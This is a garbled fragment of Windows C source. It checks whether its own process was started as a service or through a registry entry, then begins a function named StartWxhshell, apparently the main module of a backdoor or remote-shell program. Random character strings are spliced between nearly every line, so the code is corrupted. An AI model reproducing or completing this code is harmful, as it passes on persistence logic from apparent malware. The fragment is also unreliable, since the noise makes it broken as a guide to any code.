c if(hProcess==NULL) return 0; \OK}DhY# O9p^P%U " HMODULE hMod; |txzIc.# char procName[255]; |:SXN4';? unsigned long cbNeeded; EkN>5). Io_7 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m :]F&s 2TaHWw<A CloseHandle(hProcess); D,uT#P <R#:K7>O if(strstr(procName,"services")) return 1; // 以服务启动 L+)mZb& jqoU;u` return 0; // 注册表启动 ?
5hwz } vF@.BM> +OUM 4y // 主模块 Zo,]Dx int StartWxhshell(LPSTR lpCmdLine) q?&J |